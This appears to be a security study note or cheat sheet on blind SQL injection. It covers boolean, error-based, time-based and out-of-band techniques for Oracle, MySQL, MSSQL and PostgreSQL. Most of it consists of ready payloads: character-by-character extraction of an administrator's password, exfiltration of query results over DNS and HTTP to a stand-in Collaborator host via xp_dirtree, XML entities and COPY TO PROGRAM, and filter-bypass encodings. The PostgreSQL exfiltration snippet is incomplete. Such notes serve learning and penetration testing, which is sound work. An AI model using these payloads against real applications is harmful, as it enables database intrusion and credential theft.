Blind SQL Injection

Blind SQL Injection

It occurs when an application is vulnerable to sql injection but its response do not contain the results of the relevant SQL Query or the details of any database errors.

Types of blind sql injection

  • Conditional based blind

  • Error based blind

  • Time based blind

  • OAST (Out of band blind)

Conditional(boolean) based blind sql injection

Injecting query to trigger detecatble difference in application's response.We can identify boolean based blind sql injection only via comparing the difference in http response. We can also use burp's comparer in this case.

Cookie: UserID=we5y77ess9; session=b66tyugghj889l009;
SELECT * FROM Users WHERE UserID='we5y77ess9' AND session='b66tyugghj889l009';

Here "welcome back!" message is displayed if cookie is valid else it is not displayed on the http response, in such case we can inject boolean conditions and query the database for information based on truth of the condition.

 ' AND '1'='1 => results in "welcome back" mesage
 ' AND '1'='2 => does not show "welcome back" message

We can query the database version for a successful poc by doing the following

' AND SUBSTRING((SELECT @@version),<iterate length>,1) = '<iterate printable characters>
' AND SUBSTRING((SELECT version()),<iterate length>,1) = '<iterate printable characters>
' AND SUBSTR((SELECT BANNER FROM v$version),<iterate length>,1) = '<iterate printable characters>

Similarly if we know that there table called users with columns username and password and we know a username administrator we can extract password by

  • First finding the length of password

' AND (SELECT 'a' FROM users WHERE username='administrator' and LENGTH(password) = {length}) = 'a
  • Then query each character of the password supposing length of the password is 20

' AND (SELECT SUBSTRING(password,{1},1) FROM users WHERE username='administrator') = '{a}
' AND (SELECT SUBSTRING(password,{2},1) FROM users WHERE username='administrator') = '{b}
  • MYSQL: SUBSTRING("CONDITION/STRING", start-position, extract this much character)

  • Oracle: substr("string/condition", start-position, extract this much character)

  • MSSQL: same as MYSQL

  • Postgresql: same as MYSQL

Conditional Error based blind sql injection

Here, the application does not give different response, So depending upon true or false condition we can cause database error.

  • First confirm conditional error based sql injection, test condition 1=1 and 1=2 and so on.

MSQL: ' AND SELECT IF(1=1, 1/0, 'a') = 'a again test ' AND SELECT IF(1=2, 1/0, 'a') = 'a

Oracle: ' AND (SELECT CASE WHEN (1=5) THEN TO_CHAR(1/0) ELSE 'a' END FROM dual) = 'a||

Microsoft: ' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END) = 'a

Postgresql: ' AND (SELECT CASE WHEN (1=1) THEN 1/(SELECT 0) ELSE 'a' END) = 'a

  • Now suppose we found the database is oracle and we need to dump password of administrator from users column.

' AND (SELECT CASE WHEN LENGTH(password) = 20 THEN TO_CHAR(1/0) ELSE 'a' END FROM users WHERE username='administrator') = 'a||
  • Now start testing each caracter of password using SUBSTR() function

' AND (SELECT CASE WHEN SUBSTR(password,{1},1) = '§a§' THEN TO_CHAR(1/0) ELSE 'a' END FROM users WHERE username='administrator') = 'a||

Suppose for poc we need to find the database version then,

  • Oracle: ' AND (SELECT CASE WHEN (SELECT SUBSTR(BANNER, {iterate position here}, 1) FROM v$version WHERE ROWNUM = 1) = '{iterate characters here}' THEN TO_CHAR(1/0) ELSE 'a' END FROM dual) = 'a||

  • MYSQL: ' AND (SELECT CASE WHEN (SELECT SUBSTRING(@@version,{iterate position here}, 1)) = '{iterate characters here}' THEN 1/0 ELSE 'a' END) = 'a

  • Microsoft: ' AND (SELECT CASE WHEN (SELECT SUBSTRING(@@version,{iterate position here}, 1)) = '{iterate characters here}' THEN 1/0 ELSE 'a' END) = 'a+

  • Postgresql: ' AND (SELECT CASE WHEN (SELECT SUBSTRING(version(),{iterate position here}, 1)) = '{iterate characters here}' THEN 1/0 ELSE 'a' END) = 'a||

Verbose SQL ERROR MESSAGE

If database is misconfigured sometimes can result into verbose sql error message like Unterminated string literal started at position 52 in SQL SELECT * FROM tracking WHERE id = '''. Expected char . Sometimes we may be able to indue error message that contains data returned by the query we can use CAST function in such case which converts one data type to another.

' AND 1=(SELECT CAST(1 AS int) )-- => no error since 1=1 ' AND 1=(SELECT CAST(username as int) FROM Users )-- ' AND 1=(SELECT CAST(password as int) FROM Users )--

Time based blind

If the application does not contain any difference in http response, if the application catches the database errors gracefully this means previous techniques won't work. so in this case depending on whether a condition is true or false we can cause time delays. SQL queries are processed synchronously(one at a time) by an application and triggering time delays can also delays the http response.

Postgresql: ' || (SELECT pg_sleep(10))||'

Mysql: ' AND (SELECT SLEEP(10))--'

Oracle: ' ||dbms_pipe.receive_message(('a'),10)||'

Microsoft: '+ WAITFOR DELAY '0:0:10'+'

Extracting data for poc

Postgresql: '; SELECT CASE WHEN (SELECT SUBSTRING(version(),{iterate length},1) = '{iterate characters}') THEN pg_sleep(10) ELSE pg_sleep(0) END--

Mysql: SELECT IF((SELECT SUBSTRING(@@version,{Iterate length},1) = '{Iterate characters}'),SLEEP(10),'a');--

Oracle: SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual

Microsoft: IF (SELECT SUBSTRING(@@version,{iterate length},1) = '{iterate characters}') WAITFOR DELAY '0:0:10'

Out Of band data exfiltration

An application might not be vulnerable to union based sql injection since it might not display the query result on the response, trying blind conditional based attack might not work, trying conditional error based payloads to cause database error might not work, no verbose sql error message might be shown by the response, trying time based sql injection payloads to cause the application to sleep might not work due to the application running the sql query asynchronously in such case we try out of band data exflitration. We can make the application to trigger out of band network interaction to system we control, variety of network protocals can be used in this case but most effective one would be the dns since most production systems allows dns communication although other ports might be blocked.

  • We often use concat operation in this case

Oracle: ' || (SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual) ||'

Microsoft: ' + (SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')) +', ' + (exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a') +'

Postgresql: ' || (copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN') ||'

Mysql windows: LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a') SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'

Data Exfiltration

Oracle

' || (SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual) || '

Microsoft

' + (declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"')+'

Postgresql

SELECT into p (SELECT YOUR-QUERY-HERE);
c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN''';
execute c;
END;
$$ language plpgsql security definer;
SELECT f(); 

Mysql on windows only

SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'

Bypasses

We can also bypass sql payloads by using comments instead of space /**/ or using html entities UNIO&#78; &#x53;ELECT password FROM users WHERE username=&#39;administrator&#39;.

Last updated